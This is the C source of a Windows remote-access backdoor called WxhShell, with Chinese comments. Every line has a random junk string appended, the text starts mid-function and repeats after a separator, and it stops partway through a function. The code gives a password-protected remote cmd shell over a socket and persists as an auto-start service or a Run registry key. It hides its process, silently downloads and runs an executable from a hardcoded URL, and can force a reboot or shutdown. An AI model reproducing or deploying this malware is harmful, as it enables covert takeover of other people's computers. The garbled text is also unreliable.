    if(Boot(SHUTDOWN)) !j3Xzn9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!tg+9%  
    else { ZgmK~iJ  
    closesocket(wsh); M0hR]4T  
    ExitThread(0); #%{  
    } 4tSh.qBht  
    break; 9f CU+s  
    } ;Mr Q1  
  // 获取shell 3h6,x0AG  
  case 's': { TN/&^/  
    CmdShell(wsh); -6^Ee?"  
    closesocket(wsh); Z=l2Po n  
    ExitThread(0); a(uQGyr[k1  
    break; "$q"Kilj%  
  } T0cm+|S  
  // 退出 n.,ZgLx["  
  case 'x': { ^c"\%!w"O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ds@K%f(.?w  
    CloseIt(wsh); !Nbi&^k B  
    break; MfA%Xep  
    } j`_Z`eG  
  // 离开 iztgk/(+G  
  case 'q': { >n1UK5QD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vkqfs4t  
    closesocket(wsh); z; >O5a>z  
    WSACleanup(); ,S?:lQuK5  
    exit(1); uL^X$8K;(  
    break; $GVf;M2*  
        } Ey_mK\'  
  } buHUBn[3)  
  } 9~ifST \  
p4K 8L'nZ  
  // 提示信息 =4Jg6JKYg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rNgAzH  
} vmW`}FKW  
  } (e<p^T J]  
K81&BVx/  
  return; 1+-F3ROP  
} s ZokiFJ  
[U7r>&  
// shell模块句柄 @!(V0-  
int CmdShell(SOCKET sock) OW8TiM mK  
{ ;bq EfV0`2  
STARTUPINFO si; |G)bnmi7  
ZeroMemory(&si,sizeof(si)); /jOug>s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u#Uc6? E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p+{*w7?8"[  
PROCESS_INFORMATION ProcessInfo; tgu fU  
char cmdline[]="cmd"; >JN[5aus  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?QzN\f Y;  
  return 0; puGy`9eKv1  
} !i=k=l=  
1{wOjq(4  
// 自身启动模式 J-Fqw-<aFJ  
int StartFromService(void) Oin:5K)4-  
{ uTP4r  
typedef struct +@#-S  
{ VHU,G+ms  
  DWORD ExitStatus; .eDI ZX  
  DWORD PebBaseAddress; N,`<:'  
  DWORD AffinityMask; k12mxR/  
  DWORD BasePriority; 65pC#$F<x  
  ULONG UniqueProcessId; 4buzx&  
  ULONG InheritedFromUniqueProcessId; ,An*w_  
}   PROCESS_BASIC_INFORMATION; %C*h/AW)'  
FDRpK 5cw  
PROCNTQSIP NtQueryInformationProcess; I*8_5?)g<  
TM$`J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZlYb8+rW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <}Rr C#uiA  
C)Hb=  
  HANDLE             hProcess; jQ Of+ZE  
  PROCESS_BASIC_INFORMATION pbi; `LCxxpHi|  
^'aMp}3iu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \9dC z;  
  if(NULL == hInst ) return 0; (g]J hG  
:ug j+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g\ p;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HzF]hm,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lO0 PZnW9  
|JH1?n  
  if (!NtQueryInformationProcess) return 0; Y>[u(q&09O  
^ $t7p 1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QK%6Ncv  
  if(!hProcess) return 0; c~+l|r=u?  
A?*_14&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N!F ;!  
E`SFr  
  CloseHandle(hProcess); G>0S( M)  
}x1*4+Y1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kyc Z  
if(hProcess==NULL) return 0; M&iA^Wrs  
ZO $}m?  
HMODULE hMod; {'#^  
char procName[255]; +9mnxU>  
unsigned long cbNeeded; Vee`q.  
!fcr3x|Y~M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @OlV6M;qJ  
BJI R !J  
  CloseHandle(hProcess); v/BMzVi  
fhAK^@h  
if(strstr(procName,"services")) return 1; // 以服务启动 rSVU|O3m;  
I2=?H <  
  return 0; // 注册表启动 8L<GAe  
} cM;& $IjCt  
=%YU~  
// 主模块 b_]14 v  
int StartWxhshell(LPSTR lpCmdLine)  `Up Zk?k  
{ Yl+r>+^  
  SOCKET wsl; Z`5v6"Na  
BOOL val=TRUE; 1wl8  
  int port=0; ]kuMzTH  
  struct sockaddr_in door; ozbu|9 +v  
AoEG%nT  
  if(wscfg.ws_autoins) Install(); x62 b=k}  
Fa$ pr`  
port=atoi(lpCmdLine); shwKB 5  
uJ4RjLM`  
if(port<=0) port=wscfg.ws_port; f_r1(o 5:Y  
Z;aQ/ n[`  
  WSADATA data; 2 fX-J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `<h}Ygo>k/  
dIG(7 ~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,o}!pQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h*f=  
  door.sin_family = AF_INET; xr) Rx{)3h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z./M^7v?  
  door.sin_port = htons(port);  ] }XK  
`J^J_s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O&=?,zLO[  
closesocket(wsl); )FM/^  
return 1; %Ysu613mz  
} xQC.ap  
W xyQA:3s  
  if(listen(wsl,2) == INVALID_SOCKET) { <`sVu  
closesocket(wsl); : 2?J#/o  
return 1; v6 DN:!&  
} pO$`(+q[  
  Wxhshell(wsl); dZm>LVjG  
  WSACleanup(); FS r`Y  
2>#Pt^R:C  
return 0; MN|y5w}$u  
]`&EB~K&NY  
} ho2o/>Ef3  
3uCC_Am  
// 以NT服务方式启动  B&#TbKp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0O?B!Jr]RM  
{ M ]W'>g)G  
DWORD   status = 0; 59 O;`y0  
  DWORD   specificError = 0xfffffff; d:O>--$_tw  
kssS,Ogf\_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =Z iyT$p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B=#rp*vwL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <0vQHND,3  
  serviceStatus.dwWin32ExitCode     = 0; `!DrB08A  
  serviceStatus.dwServiceSpecificExitCode = 0; N VzR2  
  serviceStatus.dwCheckPoint       = 0; X^#48*"a  
  serviceStatus.dwWaitHint       = 0; @"-<m|lM  
4s~Y qP{K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |uQJMf[L)  
  if (hServiceStatusHandle==0) return; s d>&6 R^  
g/W<;o<v(I  
status = GetLastError(); O82T|0uw  
  if (status!=NO_ERROR) ?UoA'~=  
{ afv? z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zgt, 'T  
    serviceStatus.dwCheckPoint       = 0; 0O+s3#"?@  
    serviceStatus.dwWaitHint       = 0; q/Ba#?sen  
    serviceStatus.dwWin32ExitCode     = status; x:O?Fj  
    serviceStatus.dwServiceSpecificExitCode = specificError; bgqN&J)Jr)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @$gvV]dA  
    return; %F9% t  
  } |! i3Y=X  
b[? 6/#N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `{CaJ6.  
  serviceStatus.dwCheckPoint       = 0; BHOxwW{  
  serviceStatus.dwWaitHint       = 0; ;#P@(ZVT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m'XzZmI  
} HlBw:D(z:^  
Z$kff-Y4  
// 处理NT服务事件,比如:启动、停止 bdk"7N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gn #5zx#l  
{ 7gfNe kr~W  
switch(fdwControl) :h=];^/E  
{ I1BVqIt1i  
case SERVICE_CONTROL_STOP: F:x" RbbF  
  serviceStatus.dwWin32ExitCode = 0; vr/V_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $SRpFz5y$  
  serviceStatus.dwCheckPoint   = 0; *4Y1((1k  
  serviceStatus.dwWaitHint     = 0; uDay||7^g  
  { 6E{HNPMb>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iKN~fGRc  
  } ZK1d3  
  return; 2aX|E4F  
case SERVICE_CONTROL_PAUSE: D'ZR>@w@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [0El z@.C  
  break; a&6 3[p.<}  
case SERVICE_CONTROL_CONTINUE: U8-#W(tRR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H ifKa/}P8  
  break; GL_YT.(!  
case SERVICE_CONTROL_INTERROGATE: UX;?~X  
  break; Xa=oryDt  
}; 8{#W F#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *9y)B|P^  
} !qS~YA  
%B}Q.'  
// 标准应用程序主函数 C=IT`iom1C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?OW 4J0B'  
{ u n\!K  
'FgBYy/  
// 获取操作系统版本 bGOOC?[UX  
OsIsNt=GetOsVer(); <qT[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jzI70+E  
Ck d@|  
  // 从命令行安装 ayfR{RYi  
  if(strpbrk(lpCmdLine,"iI")) Install(); "XfCLc1 T  
JFH3)Q  
  // 下载执行文件 3)88B"E  
if(wscfg.ws_downexe) { 3O7]~5 j1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z8E-(@`q5Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yz]c'M@  
} #%N v\ g;  
7aRtw:PQn  
if(!OsIsNt) { qmqWMLfC  
// 如果时win9x,隐藏进程并且设置为注册表启动 WfpQ   
HideProc(); FlGU1%]m  
StartWxhshell(lpCmdLine); :dq.@:+<R  
} SQ8xfD*  
else k#F |  
  if(StartFromService()) ( m/uj z  
  // 以服务方式启动 lC/1,Z/M  
  StartServiceCtrlDispatcher(DispatchTable); ?+av9;Kg  
else K+MSjQS"  
  // 普通方式启动 Lh%z2 5t  
  StartWxhshell(lpCmdLine); @~k4,dJ  
9$[6\jMh  
return 0; } I>68dS[  
} TOapq9B]  
T5nBvSVv'  
#1*#3p9UL  
bGw56s'R5~  
===========================================  _U.|$pU  
`-t8ag 3  
]1hyvm3  
"5<:Dj/W  
|w5m2Z  
"&Hr)yyWG  
" Q$ +6f,m#W  
8\WV.+  
#include <stdio.h> i;Dj16h  
#include <string.h> srPczVG*  
#include <windows.h> o|:c{pwq  
#include <winsock2.h> e!W U  
#include <winsvc.h> \SSHjONX  
#include <urlmon.h> mR|L'[l  
CbGfVdw/c  
#pragma comment (lib, "Ws2_32.lib") "; 1@f"kw  
#pragma comment (lib, "urlmon.lib") g(_xo\  
XHU\;TF  
#define MAX_USER   100 // 最大客户端连接数 (}g4}A@x  
#define BUF_SOCK   200 // sock buffer M"Dv -#f  
#define KEY_BUFF   255 // 输入 buffer f=k_U[b4>  
Ii9[[I  
#define REBOOT     0   // 重启 CvHE7H|-{  
#define SHUTDOWN   1   // 关机 )J*M{Gm6i  
dI%?uk  
#define DEF_PORT   5000 // 监听端口 SR$ 'JGfp  
.k:heN2-x  
#define REG_LEN     16   // 注册表键长度 4#CHX^De  
#define SVC_LEN     80   // NT服务名长度 y2W|,=Vd  
 nU4to  
// 从dll定义API Q,K$)bM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %pIP#y[4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;FQNO:NP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +4$][3.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?K+q~DzNSD  
@U3:9~Q  
// wxhshell配置信息 ZNVrja*  
struct WSCFG { -Bl]RpHCe  
  int ws_port;         // 监听端口 tr5j<O  
  char ws_passstr[REG_LEN]; // 口令 k".kbwcaF  
  int ws_autoins;       // 安装标记, 1=yes 0=no lJ]]FuA-Q  
  char ws_regname[REG_LEN]; // 注册表键名 qA;Gl"HF  
  char ws_svcname[REG_LEN]; // 服务名 PB *v45  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j]FK.G'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lb$_$+@Vr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &|j0GP&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wVqp')e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [UXN= 76N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OP<N!y?[  
3dSb!q0&N  
}; 8v z h5,U  
c<,LE@ V  
// default Wxhshell configuration  IMr#5  
struct WSCFG wscfg={DEF_PORT, S)g:+P  
    "xuhuanlingzhe", Pz34a@%"  
    1, 5F+G8  
    "Wxhshell", ;DSH$'1i  
    "Wxhshell", <}:` Y"  
            "WxhShell Service", JO`r)_  
    "Wrsky Windows CmdShell Service", 5RvE ),  
    "Please Input Your Password: ", I 1n,c d[  
  1, ^D5Jqh)  
  "http://www.wrsky.com/wxhshell.exe", 76"4Q!  
  "Wxhshell.exe" R)BXN~dQ  
    }; SkMFJ?J/  
$'I&u  
// 消息定义模块 3rB0H   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^~I@]5Pq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g9q}D-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hVmnXT 3Z  
char *msg_ws_ext="\n\rExit."; En1LGi4#  
char *msg_ws_end="\n\rQuit."; (w#t V*  
char *msg_ws_boot="\n\rReboot..."; m0 As t<u  
char *msg_ws_poff="\n\rShutdown..."; BO#tn{(#  
char *msg_ws_down="\n\rSave to "; `:Gzjngc  
G~o!u8^;  
char *msg_ws_err="\n\rErr!"; (bQ3:%nD  
char *msg_ws_ok="\n\rOK!"; 'Gqv`rq&  
ZaU8eg7  
char ExeFile[MAX_PATH]; >9rZV NMU  
int nUser = 0; F^'$%XKV  
HANDLE handles[MAX_USER]; y0sce  
int OsIsNt; Jr( =Y@Z '  
] re=8s6  
SERVICE_STATUS       serviceStatus; HB8s[]A:D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uyxYCc  
A$3Rbn}"  
// 函数声明 1'\QD`M9^  
int Install(void); q50F!yHC-  
int Uninstall(void); [K.1 X=O}  
int DownloadFile(char *sURL, SOCKET wsh); #M16qOEw  
int Boot(int flag); '1:)q  
void HideProc(void); 8Rwk o6x  
int GetOsVer(void); M&j|5UH%.  
int Wxhshell(SOCKET wsl); uy'seJ  
void TalkWithClient(void *cs); (tX3?[ii  
int CmdShell(SOCKET sock); X}v*"`@Q  
int StartFromService(void); 4MzQH-U>/  
int StartWxhshell(LPSTR lpCmdLine); ^iMr't\b  
L"|Bm{Run  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]alc%(=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G n]qh(N>  
@|SeabN^-  
// 数据结构和表定义 FKTF?4+\U  
SERVICE_TABLE_ENTRY DispatchTable[] = D#b*M)X"  
{ }yEV&& @  
{wscfg.ws_svcname, NTServiceMain}, R J{$`d  
{NULL, NULL} ki9&AFs2X  
}; {siOa%;*  
25)9R^  
// 自我安装 cjEqN8  
int Install(void) 1IA1;  
{ JcR|{9ghT  
  char svExeFile[MAX_PATH]; LpU}.  
  HKEY key; .J)TIc__|A  
  strcpy(svExeFile,ExeFile); `FMo; ,j  
bV8+E u  
// 如果是win9x系统,修改注册表设为自启动 \v Ajg  
if(!OsIsNt) { }`B .(3n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.e X8~3=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < '5~p$  
  RegCloseKey(key); y&zFS4"x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mVZh_R=a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8}  B  
  RegCloseKey(key); /I`TN5~  
  return 0; 8)X9abC  
    } OyZR&,q  
  } zuvPV{ X  
} exb} y  
else { @V%\Gspv  
c@t?R$c  
// 如果是NT以上系统,安装为系统服务 jSY[Y:6md  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qVn<c,8#  
if (schSCManager!=0) ,n/]ALz>~  
{ :,l7e  
  SC_HANDLE schService = CreateService S<i$0p8J;  
  ( m-AF&( ;K  
  schSCManager, +Q5 O$8i  
  wscfg.ws_svcname, (9]Uuvfp6"  
  wscfg.ws_svcdisp, XN df  
  SERVICE_ALL_ACCESS, ]RCo@QW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ipv5JD[  
  SERVICE_AUTO_START, 3B1\-ry1M  
  SERVICE_ERROR_NORMAL, {"ST hTZ  
  svExeFile, 8rsc@]W  
  NULL, VgH O&vU  
  NULL, 1sqE/-v1_^  
  NULL, %B%_[<B  
  NULL, o :d7IL  
  NULL v)5;~.+%  
  ); }t)+eSUA  
  if (schService!=0) @Q74  
  { N*Aw-\Bk  
  CloseServiceHandle(schService); 4=yzf  
  CloseServiceHandle(schSCManager); l~r;G rd/5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qOo4T@ t3  
  strcat(svExeFile,wscfg.ws_svcname); :U?g']`Z##  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cj0r2^`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -<g9 ) CV5  
  RegCloseKey(key); 7[m+r:y  
  return 0; 7'\. Q J!<  
    } J6Ilg@}\  
  } k1B ](@xt  
  CloseServiceHandle(schSCManager); >dAl*T  
} S@qPf0dL<  
} R$:-~<O  
cC*WZ]  
return 1; i2qN 0?n  
} )PN8HJAArh  
ZdW+=;/#  
// 自我卸载 K$S0h-?9]O  
int Uninstall(void) Za@\=}Tt  
{ 0LQRQuh1  
  HKEY key; }9@rhW  
$xu2ZBK  
if(!OsIsNt) { Ab$E@H #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2"6L\8hd2  
  RegDeleteValue(key,wscfg.ws_regname); !.R-|<2|6  
  RegCloseKey(key); #]Vw$X_S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yCjc5d|tT  
  RegDeleteValue(key,wscfg.ws_regname); Q=Q+*oog  
  RegCloseKey(key); +k=*AQt^8  
  return 0; 11PL1zzH  
  } Z_ElLY  
} +:Zwo+\kSN  
} ckX8eg!f  
else { ,88B@a  
| 6AR!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i3 js'?7E  
if (schSCManager!=0) xbiprhdv  
{ >Iij,J5i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dwn|1%D  
  if (schService!=0) % 3#g-  
  { mLq0;uGL|  
  if(DeleteService(schService)!=0) { a Mqt2{f+  
  CloseServiceHandle(schService); -n:2US<  
  CloseServiceHandle(schSCManager); W@}@5,}f>  
  return 0; 6UIS4 _   
  } 8z93ETv7`  
  CloseServiceHandle(schService); $;g*s?F*  
  } ^(Gl$GC$Mu  
  CloseServiceHandle(schSCManager); @Hj]yb5  
} .Z 7t E?  
} e\z,^  
0yjYjIk"T  
return 1; F]OWqUV  
} xgOt%7sb  
~U<j_j)z4.  
// 从指定url下载文件 aR6~r^jB  
int DownloadFile(char *sURL, SOCKET wsh) %~eu&\os  
{ Ds=d~sNu  
  HRESULT hr; 4gZR!J  
char seps[]= "/"; Q8TR@0d  
char *token; C4E*q3[Y  
char *file; aeMj4|{\  
char myURL[MAX_PATH]; h<IAH Cz;(  
char myFILE[MAX_PATH]; 1xxTI{'g[  
xfUV'=~(  
strcpy(myURL,sURL); o<|u4r={s  
  token=strtok(myURL,seps); C B;j[.  
  while(token!=NULL) p+I`xyk  
  { N]BH67<  
    file=token; P EzT|uY  
  token=strtok(NULL,seps); R]Fa?uQW  
  } s$^ 2Cuhv  
<{V{2V#  
GetCurrentDirectory(MAX_PATH,myFILE); dn5t7D^ x  
strcat(myFILE, "\\"); Y(JZP\Tf_N  
strcat(myFILE, file); T5[(vTp  
  send(wsh,myFILE,strlen(myFILE),0); ziAn9/sT  
send(wsh,"...",3,0); 2V @ pt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j97c@  
  if(hr==S_OK) y_IF{%i  
return 0; CIR2sr0a  
else Ud-c+, xX  
return 1; .>5E 4^$%  
i piS=  
} Si;eBPFH  
`C:J{`  
// 系统电源模块 ZYl*-i&~?  
int Boot(int flag) !&8B8jHqA  
{ 0@!-+}i  
  HANDLE hToken; %yy|B  
  TOKEN_PRIVILEGES tkp; g*U[?I"sC  
U,9=&"e b  
  if(OsIsNt) { Nrp1`qY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6r5<uZ9w_X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -1F+,+m  
    tkp.PrivilegeCount = 1; } AHR7mu=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v3/G.B@=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~EhM"go  
if(flag==REBOOT) { _`]YWvh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &C E){jC  
  return 0; Gy[m4n~Z5  
} 7OZjLD{ID  
else { a/ Z\h{*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rcMSso2  
  return 0; z`@|v~i0`  
} 8z"*CJ@  
  } Pu|3_3^  
  else { z/S}z4o/  
if(flag==REBOOT) { .\ces2,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  Hn,;G`{  
  return 0; z)y{(gR  
} q6>%1~?  
else { 6M_,4> -  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zut"P3d=J  
  return 0; q vGkTE  
} _QOZ`st  
} _0e;&2')  
>a2i%j/T  
return 1; 5"9!kZ(<  
} rjW\tuZI  
*5|q_K Pt  
// win9x进程隐藏模块 a{7'qmN1  
void HideProc(void) YeCS`IXm  
{ 2i_k$-  
BO)Q$*G~JD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W~FM^xR?p  
  if ( hKernel != NULL ) DF!*S{)  
  { P+nd?:cz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +&h<:/ V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o79EDPX  
    FreeLibrary(hKernel); K _sHZ  
  } ;4ETqi9  
I7q}<"`  
return; i@p0Jnh|  
} +Q+>{HK  
q t!0#z8  
// 获取操作系统版本 P4S]bPIp  
int GetOsVer(void) ?m>!P@ M  
{ .8EaFEd  
  OSVERSIONINFO winfo; Doj>Irj? 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9d_ Zdc  
  GetVersionEx(&winfo); >Kjl>bq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qmx4hs8sh  
  return 1; VuWBWb?0Q  
  else r0 fxEYze&  
  return 0; ^\ocH|D  
} 1Vy8TV3D  
84}Pu%  
// 客户端句柄模块 \&Zp/;n  
int Wxhshell(SOCKET wsl) qzt.k^'-^  
{ U+FI^Xrt#  
  SOCKET wsh; Mo~zq.  
  struct sockaddr_in client; }5qpiS"V9  
  DWORD myID; oW \k%Vj  
yrVk$k#6}  
  while(nUser<MAX_USER) E6zSMl5b  
{ he\ pW5p  
  int nSize=sizeof(client); o3OtG#g2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6( 0ME$  
  if(wsh==INVALID_SOCKET) return 1; ]w;!x7bU(  
g/f^|:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3yw`%$d5  
if(handles[nUser]==0) zD,K_HicI  
  closesocket(wsh); ]u<8j r  
else a 0+W-#G  
  nUser++; B9h'}460H  
  } 0hr4}FL8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bDADFitSo  
tR`^c8gD  
  return 0; A$o7<Hx  
} eOUv#F  
F+ Q(^Nk  
// 关闭 socket dp DPSI  
void CloseIt(SOCKET wsh) }u?DK,R  
{ iwx*mC{|A  
closesocket(wsh); >%1mx\y^  
nUser--; GMW,+  
ExitThread(0); :F`-<x/  
} K zWqHq  
i8|0zI  
// 客户端请求句柄 ~;/}D0k$x  
void TalkWithClient(void *cs) "l[ c/q[  
{ 4RyQ^vL  
U]}f]GK  
  SOCKET wsh=(SOCKET)cs; '<-F3  
  char pwd[SVC_LEN]; =+ALh-  
  char cmd[KEY_BUFF]; Q.i_?a  
char chr[1]; S\<nCkE^  
int i,j; AXT(D@sI=  
O0RV>Ml'&  
  while (nUser < MAX_USER) { M T]2n{e  
`PS^o#  
if(wscfg.ws_passstr) { Lm1  -  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1)v]<Ga~%1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5-2#H?:U  
  //ZeroMemory(pwd,KEY_BUFF); 9:JQ*O$  
      i=0; /5N`E uw  
  while(i<SVC_LEN) { G/4~_\YMq  
IrMxdF~c  
  // 设置超时 m TgsvC  
  fd_set FdRead; witx_r  
  struct timeval TimeOut; Z# o;H$  
  FD_ZERO(&FdRead); wn/Y 5   
  FD_SET(wsh,&FdRead); sg%Ptp  
  TimeOut.tv_sec=8; E'+?7ZGWj  
  TimeOut.tv_usec=0; d*R('0z{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;i-<dAV8B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); > JP}OS  
"1z#6vw5a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lhmb= @  
  pwd=chr[0]; ?.Lq`~T`  
  if(chr[0]==0xd || chr[0]==0xa) { 0P l>k'9  
  pwd=0; ;!pSYcT,  
  break; jg\FD51$  
  } d7P' c!@+  
  i++; |32uC3?o  
    } EYSBC",  
bzyy;`;6Q~  
  // 如果是非法用户,关闭 socket XCj8QM.o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w=kW~gg  
} N7UGgn=  
4,.[B7irR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BPd *@l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Sz|3ms  
:0'vzM  
while(1) { aSt:G*a"  
N?v}\P U  
  ZeroMemory(cmd,KEY_BUFF); tQ,3nI!|xF  
a[ yyEgm2  
      // 自动支持客户端 telnet标准   tqXCj}mR  
  j=0; |-`-zo4z  
  while(j<KEY_BUFF) { #k|f%!-Vo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pM}n)Q!{3"  
  cmd[j]=chr[0]; iC4rzgq  
  if(chr[0]==0xa || chr[0]==0xd) { WSqo\]  
  cmd[j]=0; j5!pS xOC  
  break; ?/}-&A"  
  } 6vf<lmN  
  j++; "Bl6 ) qw  
    }  L0>7v  
GP0}I@>?  
  // 下载文件 zxC~a97`  
  if(strstr(cmd,"http://")) { t#2szr+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Le2rc *T  
  if(DownloadFile(cmd,wsh)) B8>3GZi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BHpj_LB-P  
  else C 4K"eX,K  
